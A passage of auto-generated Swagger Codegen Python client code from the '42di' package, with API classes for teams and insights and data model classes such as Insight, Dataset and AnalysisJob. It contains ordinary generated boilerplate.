raise ValueError("Missing the required parameter `project_id` when calling `update_insight_property`") # noqa: E501
# verify the required parameter 'insight_id' is set
if ('insight_id' not in params or
params['insight_id'] is None):
raise ValueError("Missing the required parameter `insight_id` when calling `update_insight_property`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
if 'project_id' in params:
path_params['project_id'] = params['project_id'] # noqa: E501
if 'insight_id' in params:
path_params['insight_id'] = params['insight_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}/projects/{project_id}/insights/{insight_id}', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api/insights_api.py
|
insights_api.py
|
from __future__ import absolute_import
# flake8: noqa
# import apis into api package
from swagger_client.api.analysis_api import AnalysisApi
from swagger_client.api.boards_api import BoardsApi
from swagger_client.api.datasets_api import DatasetsApi
from swagger_client.api.insights_api import InsightsApi
from swagger_client.api.projects_api import ProjectsApi
from swagger_client.api.teams_api import TeamsApi
from swagger_client.api.users_api import UsersApi
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api/__init__.py
|
__init__.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from __future__ import absolute_import
import re # noqa: F401
# python 2 and python 3 compatibility library
import six
from swagger_client.api_client import ApiClient
class TeamsApi(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
Ref: https://github.com/swagger-api/swagger-codegen
"""
def __init__(self, api_client=None):
if api_client is None:
api_client = ApiClient()
self.api_client = api_client
def get_team(self, team_id, **kwargs): # noqa: E501
"""Get Team # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_team(team_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:return: Team
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.get_team_with_http_info(team_id, **kwargs) # noqa: E501
else:
(data) = self.get_team_with_http_info(team_id, **kwargs) # noqa: E501
return data
def get_team_with_http_info(self, team_id, **kwargs): # noqa: E501
"""Get Team # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.get_team_with_http_info(team_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:return: Team
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method get_team" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `get_team`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}', 'GET',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='Team', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def update_team_property(self, team_id, **kwargs): # noqa: E501
"""Update Team property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_team_property(team_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.update_team_property_with_http_info(team_id, **kwargs) # noqa: E501
else:
(data) = self.update_team_property_with_http_info(team_id, **kwargs) # noqa: E501
return data
def update_team_property_with_http_info(self, team_id, **kwargs): # noqa: E501
"""Update Team property # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.update_team_property_with_http_info(team_id, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str team_id: the **Team** identity (required)
:param PatchAction body: PATCH Action
:return: None
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['team_id', 'body'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method update_team_property" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'team_id' is set
if ('team_id' not in params or
params['team_id'] is None):
raise ValueError("Missing the required parameter `team_id` when calling `update_team_property`") # noqa: E501
collection_formats = {}
path_params = {}
if 'team_id' in params:
path_params['team_id'] = params['team_id'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'body' in params:
body_params = params['body']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# HTTP header `Content-Type`
header_params['Content-Type'] = self.api_client.select_header_content_type( # noqa: E501
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['BearerAuth'] # noqa: E501
return self.api_client.call_api(
'/teams/{team_id}', 'PATCH',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type=None, # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/api/teams_api.py
|
teams_api.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class AnalysisJob(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'creator': 'str',
'status': 'str',
'message': 'str',
'created': 'datetime',
'last_live_time': 'datetime',
'adopter': 'str',
'description': 'AnalysisJobDescription'
}
attribute_map = {
'id': 'id',
'creator': 'creator',
'status': 'status',
'message': 'message',
'created': 'created',
'last_live_time': 'last_live_time',
'adopter': 'adopter',
'description': 'description'
}
def __init__(self, id=None, creator=None, status=None, message=None, created=None, last_live_time=None, adopter=None, description=None): # noqa: E501
"""AnalysisJob - a model defined in Swagger""" # noqa: E501
self._id = None
self._creator = None
self._status = None
self._message = None
self._created = None
self._last_live_time = None
self._adopter = None
self._description = None
self.discriminator = None
self.id = id
if creator is not None:
self.creator = creator
if status is not None:
self.status = status
if message is not None:
self.message = message
if created is not None:
self.created = created
if last_live_time is not None:
self.last_live_time = last_live_time
if adopter is not None:
self.adopter = adopter
if description is not None:
self.description = description
@property
def id(self):
"""Gets the id of this AnalysisJob. # noqa: E501
:return: The id of this AnalysisJob. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this AnalysisJob.
:param id: The id of this AnalysisJob. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def creator(self):
"""Gets the creator of this AnalysisJob. # noqa: E501
:return: The creator of this AnalysisJob. # noqa: E501
:rtype: str
"""
return self._creator
@creator.setter
def creator(self, creator):
"""Sets the creator of this AnalysisJob.
:param creator: The creator of this AnalysisJob. # noqa: E501
:type: str
"""
self._creator = creator
@property
def status(self):
"""Gets the status of this AnalysisJob. # noqa: E501
:return: The status of this AnalysisJob. # noqa: E501
:rtype: str
"""
return self._status
@status.setter
def status(self, status):
"""Sets the status of this AnalysisJob.
:param status: The status of this AnalysisJob. # noqa: E501
:type: str
"""
self._status = status
@property
def message(self):
"""Gets the message of this AnalysisJob. # noqa: E501
:return: The message of this AnalysisJob. # noqa: E501
:rtype: str
"""
return self._message
@message.setter
def message(self, message):
"""Sets the message of this AnalysisJob.
:param message: The message of this AnalysisJob. # noqa: E501
:type: str
"""
self._message = message
@property
def created(self):
"""Gets the created of this AnalysisJob. # noqa: E501
:return: The created of this AnalysisJob. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this AnalysisJob.
:param created: The created of this AnalysisJob. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_live_time(self):
"""Gets the last_live_time of this AnalysisJob. # noqa: E501
:return: The last_live_time of this AnalysisJob. # noqa: E501
:rtype: datetime
"""
return self._last_live_time
@last_live_time.setter
def last_live_time(self, last_live_time):
"""Sets the last_live_time of this AnalysisJob.
:param last_live_time: The last_live_time of this AnalysisJob. # noqa: E501
:type: datetime
"""
self._last_live_time = last_live_time
@property
def adopter(self):
"""Gets the adopter of this AnalysisJob. # noqa: E501
:return: The adopter of this AnalysisJob. # noqa: E501
:rtype: str
"""
return self._adopter
@adopter.setter
def adopter(self, adopter):
"""Sets the adopter of this AnalysisJob.
:param adopter: The adopter of this AnalysisJob. # noqa: E501
:type: str
"""
self._adopter = adopter
@property
def description(self):
"""Gets the description of this AnalysisJob. # noqa: E501
:return: The description of this AnalysisJob. # noqa: E501
:rtype: AnalysisJobDescription
"""
return self._description
@description.setter
def description(self, description):
"""Sets the description of this AnalysisJob.
:param description: The description of this AnalysisJob. # noqa: E501
:type: AnalysisJobDescription
"""
self._description = description
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(AnalysisJob, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, AnalysisJob):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/analysis_job.py
|
analysis_job.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class AnalysisJobStatus(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'status': 'str',
'message': 'str'
}
attribute_map = {
'status': 'status',
'message': 'message'
}
def __init__(self, status=None, message=None): # noqa: E501
"""AnalysisJobStatus - a model defined in Swagger""" # noqa: E501
self._status = None
self._message = None
self.discriminator = None
self.status = status
if message is not None:
self.message = message
@property
def status(self):
"""Gets the status of this AnalysisJobStatus. # noqa: E501
:return: The status of this AnalysisJobStatus. # noqa: E501
:rtype: str
"""
return self._status
@status.setter
def status(self, status):
"""Sets the status of this AnalysisJobStatus.
:param status: The status of this AnalysisJobStatus. # noqa: E501
:type: str
"""
if status is None:
raise ValueError("Invalid value for `status`, must not be `None`") # noqa: E501
self._status = status
@property
def message(self):
"""Gets the message of this AnalysisJobStatus. # noqa: E501
:return: The message of this AnalysisJobStatus. # noqa: E501
:rtype: str
"""
return self._message
@message.setter
def message(self, message):
"""Sets the message of this AnalysisJobStatus.
:param message: The message of this AnalysisJobStatus. # noqa: E501
:type: str
"""
self._message = message
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(AnalysisJobStatus, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, AnalysisJobStatus):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/analysis_job_status.py
|
analysis_job_status.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Insight(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'team_id': 'str',
'project_id': 'str',
'subject': 'str',
'summary': 'str',
'content': 'str',
'creator': 'str',
'created': 'datetime',
'last_modified': 'datetime'
}
attribute_map = {
'id': 'id',
'team_id': 'team_id',
'project_id': 'project_id',
'subject': 'subject',
'summary': 'summary',
'content': 'content',
'creator': 'creator',
'created': 'created',
'last_modified': 'last_modified'
}
def __init__(self, id=None, team_id=None, project_id=None, subject=None, summary=None, content=None, creator=None, created=None, last_modified=None): # noqa: E501
"""Insight - a model defined in Swagger""" # noqa: E501
self._id = None
self._team_id = None
self._project_id = None
self._subject = None
self._summary = None
self._content = None
self._creator = None
self._created = None
self._last_modified = None
self.discriminator = None
if id is not None:
self.id = id
if team_id is not None:
self.team_id = team_id
if project_id is not None:
self.project_id = project_id
if subject is not None:
self.subject = subject
if summary is not None:
self.summary = summary
if content is not None:
self.content = content
if creator is not None:
self.creator = creator
if created is not None:
self.created = created
if last_modified is not None:
self.last_modified = last_modified
@property
def id(self):
"""Gets the id of this Insight. # noqa: E501
:return: The id of this Insight. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this Insight.
:param id: The id of this Insight. # noqa: E501
:type: str
"""
self._id = id
@property
def team_id(self):
"""Gets the team_id of this Insight. # noqa: E501
:return: The team_id of this Insight. # noqa: E501
:rtype: str
"""
return self._team_id
@team_id.setter
def team_id(self, team_id):
"""Sets the team_id of this Insight.
:param team_id: The team_id of this Insight. # noqa: E501
:type: str
"""
self._team_id = team_id
@property
def project_id(self):
"""Gets the project_id of this Insight. # noqa: E501
:return: The project_id of this Insight. # noqa: E501
:rtype: str
"""
return self._project_id
@project_id.setter
def project_id(self, project_id):
"""Sets the project_id of this Insight.
:param project_id: The project_id of this Insight. # noqa: E501
:type: str
"""
self._project_id = project_id
@property
def subject(self):
"""Gets the subject of this Insight. # noqa: E501
:return: The subject of this Insight. # noqa: E501
:rtype: str
"""
return self._subject
@subject.setter
def subject(self, subject):
"""Sets the subject of this Insight.
:param subject: The subject of this Insight. # noqa: E501
:type: str
"""
self._subject = subject
@property
def summary(self):
"""Gets the summary of this Insight. # noqa: E501
:return: The summary of this Insight. # noqa: E501
:rtype: str
"""
return self._summary
@summary.setter
def summary(self, summary):
"""Sets the summary of this Insight.
:param summary: The summary of this Insight. # noqa: E501
:type: str
"""
self._summary = summary
@property
def content(self):
"""Gets the content of this Insight. # noqa: E501
:return: The content of this Insight. # noqa: E501
:rtype: str
"""
return self._content
@content.setter
def content(self, content):
"""Sets the content of this Insight.
:param content: The content of this Insight. # noqa: E501
:type: str
"""
self._content = content
@property
def creator(self):
"""Gets the creator of this Insight. # noqa: E501
:return: The creator of this Insight. # noqa: E501
:rtype: str
"""
return self._creator
@creator.setter
def creator(self, creator):
"""Sets the creator of this Insight.
:param creator: The creator of this Insight. # noqa: E501
:type: str
"""
self._creator = creator
@property
def created(self):
"""Gets the created of this Insight. # noqa: E501
:return: The created of this Insight. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this Insight.
:param created: The created of this Insight. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_modified(self):
"""Gets the last_modified of this Insight. # noqa: E501
:return: The last_modified of this Insight. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this Insight.
:param last_modified: The last_modified of this Insight. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Insight, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Insight):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/insight.py
|
insight.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class Dataset(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'team_id': 'str',
'project_id': 'str',
'name': 'str',
'description': 'str',
'schema': 'str',
'schema_extra': 'str',
'owners': 'list[str]',
'creator': 'str',
'created': 'datetime',
'last_modified': 'datetime'
}
attribute_map = {
'id': 'id',
'team_id': 'team_id',
'project_id': 'project_id',
'name': 'name',
'description': 'description',
'schema': 'schema',
'schema_extra': 'schema_extra',
'owners': 'owners',
'creator': 'creator',
'created': 'created',
'last_modified': 'last_modified'
}
def __init__(self, id=None, team_id=None, project_id=None, name=None, description=None, schema=None, schema_extra=None, owners=None, creator=None, created=None, last_modified=None): # noqa: E501
"""Dataset - a model defined in Swagger""" # noqa: E501
self._id = None
self._team_id = None
self._project_id = None
self._name = None
self._description = None
self._schema = None
self._schema_extra = None
self._owners = None
self._creator = None
self._created = None
self._last_modified = None
self.discriminator = None
self.id = id
if team_id is not None:
self.team_id = team_id
self.project_id = project_id
if name is not None:
self.name = name
if description is not None:
self.description = description
if schema is not None:
self.schema = schema
if schema_extra is not None:
self.schema_extra = schema_extra
if owners is not None:
self.owners = owners
if creator is not None:
self.creator = creator
if created is not None:
self.created = created
if last_modified is not None:
self.last_modified = last_modified
@property
def id(self):
"""Gets the id of this Dataset. # noqa: E501
:return: The id of this Dataset. # noqa: E501
:rtype: str
"""
return self._id
@id.setter
def id(self, id):
"""Sets the id of this Dataset.
:param id: The id of this Dataset. # noqa: E501
:type: str
"""
if id is None:
raise ValueError("Invalid value for `id`, must not be `None`") # noqa: E501
self._id = id
@property
def team_id(self):
"""Gets the team_id of this Dataset. # noqa: E501
:return: The team_id of this Dataset. # noqa: E501
:rtype: str
"""
return self._team_id
@team_id.setter
def team_id(self, team_id):
"""Sets the team_id of this Dataset.
:param team_id: The team_id of this Dataset. # noqa: E501
:type: str
"""
self._team_id = team_id
@property
def project_id(self):
"""Gets the project_id of this Dataset. # noqa: E501
:return: The project_id of this Dataset. # noqa: E501
:rtype: str
"""
return self._project_id
@project_id.setter
def project_id(self, project_id):
"""Sets the project_id of this Dataset.
:param project_id: The project_id of this Dataset. # noqa: E501
:type: str
"""
if project_id is None:
raise ValueError("Invalid value for `project_id`, must not be `None`") # noqa: E501
self._project_id = project_id
@property
def name(self):
"""Gets the name of this Dataset. # noqa: E501
:return: The name of this Dataset. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this Dataset.
:param name: The name of this Dataset. # noqa: E501
:type: str
"""
self._name = name
@property
def description(self):
"""Gets the description of this Dataset. # noqa: E501
:return: The description of this Dataset. # noqa: E501
:rtype: str
"""
return self._description
@description.setter
def description(self, description):
"""Sets the description of this Dataset.
:param description: The description of this Dataset. # noqa: E501
:type: str
"""
self._description = description
@property
def schema(self):
"""Gets the schema of this Dataset. # noqa: E501
:return: The schema of this Dataset. # noqa: E501
:rtype: str
"""
return self._schema
@schema.setter
def schema(self, schema):
"""Sets the schema of this Dataset.
:param schema: The schema of this Dataset. # noqa: E501
:type: str
"""
self._schema = schema
@property
def schema_extra(self):
"""Gets the schema_extra of this Dataset. # noqa: E501
:return: The schema_extra of this Dataset. # noqa: E501
:rtype: str
"""
return self._schema_extra
@schema_extra.setter
def schema_extra(self, schema_extra):
"""Sets the schema_extra of this Dataset.
:param schema_extra: The schema_extra of this Dataset. # noqa: E501
:type: str
"""
self._schema_extra = schema_extra
@property
def owners(self):
"""Gets the owners of this Dataset. # noqa: E501
:return: The owners of this Dataset. # noqa: E501
:rtype: list[str]
"""
return self._owners
@owners.setter
def owners(self, owners):
"""Sets the owners of this Dataset.
:param owners: The owners of this Dataset. # noqa: E501
:type: list[str]
"""
self._owners = owners
@property
def creator(self):
"""Gets the creator of this Dataset. # noqa: E501
:return: The creator of this Dataset. # noqa: E501
:rtype: str
"""
return self._creator
@creator.setter
def creator(self, creator):
"""Sets the creator of this Dataset.
:param creator: The creator of this Dataset. # noqa: E501
:type: str
"""
self._creator = creator
@property
def created(self):
"""Gets the created of this Dataset. # noqa: E501
:return: The created of this Dataset. # noqa: E501
:rtype: datetime
"""
return self._created
@created.setter
def created(self, created):
"""Sets the created of this Dataset.
:param created: The created of this Dataset. # noqa: E501
:type: datetime
"""
self._created = created
@property
def last_modified(self):
"""Gets the last_modified of this Dataset. # noqa: E501
:return: The last_modified of this Dataset. # noqa: E501
:rtype: datetime
"""
return self._last_modified
@last_modified.setter
def last_modified(self, last_modified):
"""Sets the last_modified of this Dataset.
:param last_modified: The last_modified of this Dataset. # noqa: E501
:type: datetime
"""
self._last_modified = last_modified
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(Dataset, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, Dataset):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/dataset.py
|
dataset.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class AnalysisJobDescription(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'algorithm': 'str',
'parameters': 'object',
'input': 'list[AnalysisJobDescriptionDatasource]',
'output': 'list[AnalysisJobDescriptionDatasource]'
}
attribute_map = {
'algorithm': 'algorithm',
'parameters': 'parameters',
'input': 'input',
'output': 'output'
}
def __init__(self, algorithm=None, parameters=None, input=None, output=None): # noqa: E501
"""AnalysisJobDescription - a model defined in Swagger""" # noqa: E501
self._algorithm = None
self._parameters = None
self._input = None
self._output = None
self.discriminator = None
self.algorithm = algorithm
if parameters is not None:
self.parameters = parameters
if input is not None:
self.input = input
if output is not None:
self.output = output
@property
def algorithm(self):
"""Gets the algorithm of this AnalysisJobDescription. # noqa: E501
:return: The algorithm of this AnalysisJobDescription. # noqa: E501
:rtype: str
"""
return self._algorithm
@algorithm.setter
def algorithm(self, algorithm):
"""Sets the algorithm of this AnalysisJobDescription.
:param algorithm: The algorithm of this AnalysisJobDescription. # noqa: E501
:type: str
"""
if algorithm is None:
raise ValueError("Invalid value for `algorithm`, must not be `None`") # noqa: E501
self._algorithm = algorithm
@property
def parameters(self):
"""Gets the parameters of this AnalysisJobDescription. # noqa: E501
:return: The parameters of this AnalysisJobDescription. # noqa: E501
:rtype: object
"""
return self._parameters
@parameters.setter
def parameters(self, parameters):
"""Sets the parameters of this AnalysisJobDescription.
:param parameters: The parameters of this AnalysisJobDescription. # noqa: E501
:type: object
"""
self._parameters = parameters
@property
def input(self):
"""Gets the input of this AnalysisJobDescription. # noqa: E501
:return: The input of this AnalysisJobDescription. # noqa: E501
:rtype: list[AnalysisJobDescriptionDatasource]
"""
return self._input
@input.setter
def input(self, input):
"""Sets the input of this AnalysisJobDescription.
:param input: The input of this AnalysisJobDescription. # noqa: E501
:type: list[AnalysisJobDescriptionDatasource]
"""
self._input = input
@property
def output(self):
"""Gets the output of this AnalysisJobDescription. # noqa: E501
:return: The output of this AnalysisJobDescription. # noqa: E501
:rtype: list[AnalysisJobDescriptionDatasource]
"""
return self._output
@output.setter
def output(self, output):
"""Sets the output of this AnalysisJobDescription.
:param output: The output of this AnalysisJobDescription. # noqa: E501
:type: list[AnalysisJobDescriptionDatasource]
"""
self._output = output
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(AnalysisJobDescription, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, AnalysisJobDescription):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
|
42di
|
/42di-0.2.6.tar.gz/42di-0.2.6/swagger_client/models/analysis_job_description.py
|
analysis_job_description.py
|
# coding: utf-8
"""
42di API Reference
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen) # noqa: E501
OpenAPI spec version: 1.0
Contact: support@42docs.com
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class ProjectSub(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'id': 'str',
'team_id': 'str',
'project_id': 'str',
'subscriber': 'str',
